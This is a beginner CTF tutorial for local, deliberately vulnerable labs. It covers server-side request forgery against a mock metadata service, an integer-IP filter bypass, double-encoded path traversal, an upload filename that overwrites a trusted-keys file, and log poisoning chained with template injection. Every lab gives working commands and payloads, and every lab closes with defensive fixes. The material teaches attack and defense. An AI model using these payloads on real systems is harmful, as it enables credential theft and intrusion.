Tutorial 07 / Server-side · 2026-09-13

SSRF and File Attacks

A beginner-friendly CTF tutorial: make a server reach internal services, bypass URL filters, preserve encoded paths, overwrite security data, and turn a log file into code.

In The Browser as a Weapon, we used a victim’s browser to send authenticated requests. Labs 25–29 of h5i-tutorial ask a related question:

What can the application server reach, read, or write that we cannot?

We will use h5i to test server-side request forgery, path traversal, upload destinations, and local file inclusion. The targets run locally and are deliberately vulnerable.

Lab 25: SSRF to an internal metadata service

Server-side request forgery, or SSRF, occurs when an application fetches a URL supplied by a user. The request originates from the server, so it may reach internal services unavailable to an external visitor.

Start the link-preview lab:

$ ./run.sh 25
$ h5i browser open \
  'http://127.0.0.1:9250/api/preview?url=http://127.0.0.1:9251/' \
  --session lab25 --new --capture --allow 127.0.0.1

Port 9251 represents a cloud instance-metadata service. Walk its path:

$ h5i websec replay req_0 --session lab25 \
  --set query.url=http://127.0.0.1:9251/latest/meta-data/iam/security-credentials/

$ h5i websec replay req_0 --session lab25 \
  --set query.url=http://127.0.0.1:9251/latest/meta-data/iam/security-credentials/linkpreview-role

The second response contains FLAG{ssrf_metadata}.

The vulnerable application treats a user URL as a safe fetch destination. A defense must parse and resolve the hostname, reject private, loopback, link-local, and otherwise prohibited addresses, and connect to the exact checked IP. Redirects must be checked again.

Lab 26: one address, several spellings

The next lab blocks strings including localhost and 127.0.0.1:

$ ./run.sh 26
$ h5i browser open 'http://127.0.0.1:9260/' \
  --session lab26 --new --capture

The resolver accepts other textual forms of the same loopback address. For example, 2130706433 is the integer representation of 127.0.0.1.

$ h5i websec replay req_0 --session lab26 --create \
  --set path=/api/test \
  --set query.url=http://2130706433:9261/ops/credentials

The internal service returns FLAG{ssrf_filter_bypass}.

Other parsers may accept shortened, octal, hexadecimal, or IPv6 forms. Maintaining a blocklist of spellings is therefore insufficient.

The safe sequence is:

  1. parse the URL;
  2. resolve its hostname;
  3. check every resolved address against the network policy;
  4. connect to the checked address without resolving it again; and
  5. repeat the process after every redirect.

This also prevents DNS rebinding, where a hostname resolves to an allowed address during validation and an internal address during connection.

Lab 27: encoded path traversal

Start the document viewer:

$ ./run.sh 27
$ h5i browser open \
  'http://127.0.0.1:9270/download?file=welcome.md' \
  --session lab27 --new --capture

The application strips ../, but decoding happens in multiple layers. Double-encode the traversal:

$ UP='%252e%252e%252f'

A normal URL library may parse and reserialize the value before sending it. First record that behavior:

$ h5i websec replay req_0 --session lab27 \
  --set "query.file=${UP}secret%252fflag.txt"

Now place the exact bytes on the HTTP request line:

$ h5i websec replay req_0 --session lab27 \
  --raw-target "/download?file=${UP}secret%252fflag.txt"

The response contains FLAG{path_traversal_encoded}.

--raw-target matters when the representation itself is the payload. It bypasses normal URL parsing for the request target while keeping the request in h5i’s policy and audit trail.

The server should decode once into a canonical form, resolve the path, and verify that the final path remains inside the permitted directory. Repeated string replacement is not path containment.

Lab 28: upload outside the upload directory

The avatar service checks that uploaded bytes start with the JPEG magic number, but trusts the supplied filename.

$ ./run.sh 28
$ h5i browser open 'http://127.0.0.1:9280/' \
  --session lab28 --new --capture
$ WORK=$(mktemp -d)
$ KEY="k-pwn-$$"

Create a file that begins like a JPEG and then contains a key the application will parse:

$ python3 - "$WORK/poly.jpg" "$KEY" <<'PY'
import sys

data = b"\xff\xd8\xff\xe0" + f"\n{sys.argv[2]}\n".encode()
open(sys.argv[1], "wb").write(data)
PY

Upload it with a filename that escapes into the configuration directory:

$ h5i websec replay req_0 --session lab28 --create \
  --set method=POST --set path=/api/avatar \
  --set-file "multipart.file=$WORK/poly.jpg" \
  --set multipart.file.filename=../config/trusted_keys.txt \
  --set multipart.file.content_type=image/jpeg

The application re-reads that file when checking admin keys. Supply ours:

$ h5i websec replay req_0 --session lab28 --create \
  --set path=/api/admin/flag \
  --set "header.X-Api-Key=$KEY"

The result contains FLAG{upload_path_write}.

Validating file contents answered “Is this a JPEG?” It never answered “Where may this file be written?” Generate storage names server-side, resolve the destination, enforce containment, and keep uploads away from code and configuration.

Lab 29: LFI, log poisoning, and template execution

Start the wiki:

$ ./run.sh 29
$ h5i browser open \
  'http://127.0.0.1:9290/view?page=home.md' \
  --session lab29 --new --capture

Request a missing page. Its error reveals that access.log sits next to the page directory:

$ h5i websec replay req_0 --session lab29 \
  --set query.page=nope

Every request writes its User-Agent into that log. Put a template expression there:

$ h5i websec replay req_0 --session lab29 \
  --set 'header.User-Agent={{page.__init__.__globals__["RELEASE_KEY"]}}'

Finally, traverse from pages/ to the log:

$ h5i websec replay req_0 --session lab29 \
  --set query.page=../access.log

The wiki includes the log and renders it as a template. The expression executes and returns FLAG{lfi_log_poisoning}.

No single input gave us a template upload. The chain combined:

  1. local file inclusion, which reads a path outside the page directory;
  2. log poisoning, which places controlled text into an existing file; and
  3. server-side template injection, because included files are rendered.

The fix must close each boundary: enforce path containment, encode or structure log fields, and never render arbitrary included files as templates.

A reusable server-and-file testing method

For every server-side fetch, ask which networks and protocols the server can reach. For every file operation, separate three questions:

Also confirm what actually reached the wire. Encoded traversal and protocol-level payloads frequently fail because the client normalized them before the server saw them.

Summary

SSRF turned the server into an internal client. Alternative address notation bypassed a string filter. A raw encoded target survived normalization, an upload filename overwrote trusted configuration, and an access log became an executable template.

$ for s in lab25 lab26 lab27 lab28 lab29; do
    h5i browser close --session "$s"
  done
$ rm -rf "$WORK"
$ ./run.sh stop

In HTTP Protocol Attacks, we will move below ordinary HTTP requests: desynchronization, injected headers, cache keys, and WebSocket frames.

References

Next in the series

HTTP Protocol Attacks

Control raw request framing, inject headers, poison a shared cache, and test commands carried over WebSockets.

Run the labs yourself

42 deliberately vulnerable applications, one binary, no Docker and no accounts.